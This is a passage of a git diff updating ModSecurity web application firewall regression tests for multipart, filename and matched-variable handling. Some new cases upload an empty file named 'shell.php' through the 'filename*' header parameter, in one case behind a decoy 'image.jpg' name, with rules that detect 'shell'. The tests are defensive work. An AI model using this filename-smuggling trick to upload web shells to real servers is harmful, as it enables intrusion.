] }, - "expected":{ - "debug_log":" Target value: \"ARGS_NAMES:key1\" \\(Variable: MATCHED_VAR_NAME\\)" + "expected": { + "debug_log": " Target value: \"ARGS_NAMES:key1\" \\(Variable: MATCHED_VAR_NAME\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_NAMES \"@contains ey1\" \"chain,id:30,pass\"", "SecRule MATCHED_VAR_NAME \"@contains key1\" \"id:31\"" ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VAR_NAME (4/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?foo=1&bar=2&baz=2", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@rx 1\" \"id:1,phase:1,pass\"", + "SecRule ARGS \"@rx 2\" \"id:2,phase:1,pass\"", + "SecRule MATCHED_VAR_NAME \"@strEq ARGS:foo\" \"id:3,phase:1,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VAR_NAME (5/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?foo=1&bar=2&baz=2", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@rx 1\" \"id:1,phase:1,pass\"", + "SecRule ARGS \"@rx 2\" \"id:2,phase:1,pass\"", + "SecRule MATCHED_VAR_NAME \"@strEq ARGS:bar\" \"id:3,phase:1,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VAR_NAME (6/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?foo=1&bar=2&baz=2", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@rx 1\" \"id:1,phase:1,pass\"", + "SecRule ARGS \"@rx 2\" \"id:2,phase:1,pass\"", + "SecRule MATCHED_VAR_NAME \"@strEq ARGS:baz\" \"id:3,phase:1,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VAR_NAME (7/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?foo=1&bar=2&baz=2", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@rx 1\" \"id:1,phase:1,pass\"", + "SecRule ARGS \"@rx 2\" \"id:2,phase:1,deny,status:403,chain\"", + "SecRule MATCHED_VAR_NAME \"@within ARGS:baz ARGS:bar\"" + ] } ] - diff --git a/test/test-cases/regression/variable-MODSEC_BUILD.json b/test/test-cases/regression/variable-MODSEC_BUILD.json index b42eec85f0..b61d0b73ef 100644 --- a/test/test-cases/regression/variable-MODSEC_BUILD.json +++ b/test/test-cases/regression/variable-MODSEC_BUILD.json @@ -1,47 +1,48 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MODSEC_BUILD (1/1)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MODSEC_BUILD (1/1)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"03([0-9]+)\" \\(Variable: MODSEC_BUILD\\)" + "expected": { + "debug_log": "Target value: \"03([0-9]+)\" \\(Variable: MODSEC_BUILD\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule MODSEC_BUILD \"@contains test\" \"id:1,phase:3,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-MULTIPART_CRLF_LF_LINES.json b/test/test-cases/regression/variable-MULTIPART_CRLF_LF_LINES.json index 2142729992..e6d818f40c 100644 --- a/test/test-cases/regression/variable-MULTIPART_CRLF_LF_LINES.json +++ b/test/test-cases/regression/variable-MULTIPART_CRLF_LF_LINES.json @@ -1,121 +1,124 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: FILES (1/1)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"Target value: \"0\" \\(Variable: MULTIPART_CRLF_LF_LINES\\)" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_CRLF_LF_LINES \"@contains 0\" \"id:1,phase:3,pass,t:trim\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: FILES (1/1)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r", - "Content-Type: text/plain\r", - "\r", - "This is another very small test file..\r", - "----------------------------756b6d74fa1a8ee2--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"Target value: \"1\" \\(Variable: MULTIPART_CRLF_LF_LINES\\)" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_CRLF_LF_LINES \"@contains 0\" \"id:1,phase:3,pass,t:trim\"" - ] - } -] - +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: FILES (1/1)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "516", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Target value: \"0\" \\(Variable: MULTIPART_CRLF_LF_LINES\\)", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_CRLF_LF_LINES \"@contains 0\" \"id:1,phase:3,pass,t:trim\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: FILES (1/1)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "521", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Target value: \"1\" \\(Variable: MULTIPART_CRLF_LF_LINES\\)", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_CRLF_LF_LINES \"@contains 0\" \"id:1,phase:3,pass,t:trim\"" + ] + } +] diff --git a/test/test-cases/regression/variable-MULTIPART_FILENAME.json b/test/test-cases/regression/variable-MULTIPART_FILENAME.json index 1c54736ac2..d66c789b4d 100644 --- a/test/test-cases/regression/variable-MULTIPART_FILENAME.json +++ b/test/test-cases/regression/variable-MULTIPART_FILENAME.json @@ -1,121 +1,443 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MULTIPART_FILENAME", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"Target value: \"small_text_file.txt\" \\(Variable: MULTIPART_FILENAME" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_FILENAME \"@contains 0\" \"id:1,phase:3,pass,t:trim\"" - ] - }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MULTIPART_FILENAME", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file2.txt\"\r", - "Content-Type: text/plain\r", - "\r", - "This is another very small test file..\r", - "----------------------------756b6d74fa1a8ee2--\r" - ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "debug_log":"Target value: \"small_text_file2.txt\" \\(Variable: MULTIPART_FILENAME" - }, - "rules":[ - "SecRuleEngine On", - "SecRule MULTIPART_FILENAME \"@contains 0\" \"id:1,phase:3,pass,t:trim\"" - ] - } -] - +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "531", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Target value: \"small_text_file.txt\" \\(Variable: MULTIPART_FILENAME", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_FILENAME \"@contains 0\" \"id:1,phase:3,pass,t:trim\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "532", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file2.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Target value: \"small_text_file2.txt\" \\(Variable: MULTIPART_FILENAME", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_FILENAME \"@contains 0\" \"id:1,phase:3,pass,t:trim\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME* (no regular filename)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "145", + "Content-Type": "multipart/form-data; boundary=b", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--b\r\n", + "Content-Disposition: form-data; name=\"file\"; filename*=UTF-8''shell.php\r\n", + "Content-Type: image/jpeg\r\n", + "\r\n", + "\r\n", + "\r\n", + "--b--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Target value: \"shell.php\" \\(Variable: MULTIPART_FILENAME", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_FILENAME \"@contains shell\" \"id:1,phase:2,pass,t:trim\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME* (regular filename after the asterisked one)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "167", + "Content-Type": "multipart/form-data; boundary=b", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--b\r\n", + "Content-Disposition: form-data; name=\"file\"; filename*=UTF-8''shell.php; filename=\"image.jpg\"\r\n", + "Content-Type: image/jpeg\r\n", + "\r\n", + "\r\n", + "\r\n", + "--b--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Target value: \"shell.php\" \\(Variable: MULTIPART_FILENAME", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_FILENAME \"@contains shell\" \"id:1,phase:2,pass,t:trim\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME* with key", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "167", + "Content-Type": "multipart/form-data; boundary=b", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--b\r\n", + "Content-Disposition: form-data; name=\"file\"; filename*=UTF-8''shell.php; filename=\"image.jpg\"\r\n", + "Content-Type: image/jpeg\r\n", + "\r\n", + "\r\n", + "\r\n", + "--b--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Target value: \"shell.php\" \\(Variable: MULTIPART_FILENAME", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_FILENAME:file \"@contains shell\" \"id:1,phase:2,pass,t:trim\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME* with '+' in the filename", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "142", + "Content-Type": "multipart/form-data; boundary=b", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--b\r\n", + "Content-Disposition: form-data; name=\"file\"; filename*=UTF-8''Math+physics%20v1.pdf\r\n", + "Content-Type: application/pdf\r\n", + "\r\n", + "%PDF-1.7\r\n", + "\r\n", + "--b--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Target value: \"Math\\+physics v1.pdf\" \\(Variable: MULTIPART_FILENAME", + "error_log": "o0,19v219,19t:trim", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_FILENAME:file \"@contains Math+physics v1.pdf\" \"id:1,phase:2,pass,t:trim\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME* with invalid encoded name", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "145", + "Content-Type": "multipart/form-data; boundary=b", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--b\r\n", + "Content-Disposition: form-data; name=\"file\"; filename*=UTF-8''Math+physics%20v1.pdf%ZZ\r\n", + "Content-Type: application/pdf\r\n", + "\r\n", + "%PDF-1.7\r\n", + "\r\n", + "--b--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Invalid Content-Disposition header \\(-18\\): form-data; name=\"file\"; filename\\*=UTF-8''Math\\+physics%20v1\\.pdf%ZZ", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_FILENAME:file \"@contains Math+physics v1.pdf\" \"id:1,phase:2,pass,t:trim\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME* with invalid quoted name", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "146", + "Content-Type": "multipart/form-data; boundary=b", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "--b\r\n", + "Content-Disposition: form-data; name=\"file\"; filename*=\"UTF-8''Math+physics%20v1.pdf\"\r\n", + "Content-Type: application/pdf\r\n", + "\r\n", + "%PDF-1.7\r\n", + "\r\n", + "--b--\r\n" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Invalid Content-Disposition header \\(-16\\): form-data; name=\"file\"; filename\\*=\"UTF-8''Math\\+physics%20v1\\.pdf\"", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule MULTIPART_FILENAME:file \"@contains Math+physics v1.pdf\" \"id:1,phase:2,pass,t:trim\"" + ] + } +] diff --git a/test/test-cases/regression/variable-MULTIPART_FILENAME_CHARSET.json b/test/test-cases/regression/variable-MULTIPART_FILENAME_CHARSET.json new file mode 100644 index 0000000000..b9de598b62 --- /dev/null +++ b/test/test-cases/regression/variable-MULTIPART_FILENAME_CHARSET.json @@ -0,0 +1,641 @@ +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME filename* expects charset (1/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "329", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"03CB1664.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule &MULTIPART_FILENAME_CHARSET \"@gt 0\" \"id:1,phase:2,deny,t:none,chain\"", + "SecRule MULTIPART_FILENAME_CHARSET \"!@within utf-8,iso-8859-1,us-ascii\" \"t:lowercase\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MULTIPART_FILENAME filename* expects charset (2/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "358", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"03CB1664.txt\"; filename*=f-8''03CB1664.txt\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule &MULTIPART_FILENAME_CHARSET \"@gt 0\" \"id:1,phase:2,deny,t:none,chain\"", + "SecRule MULTIPART_FILENAME_CHARSET \"!@rx ^(?:utf-8|iso-8859-1|us-ascii)$\" 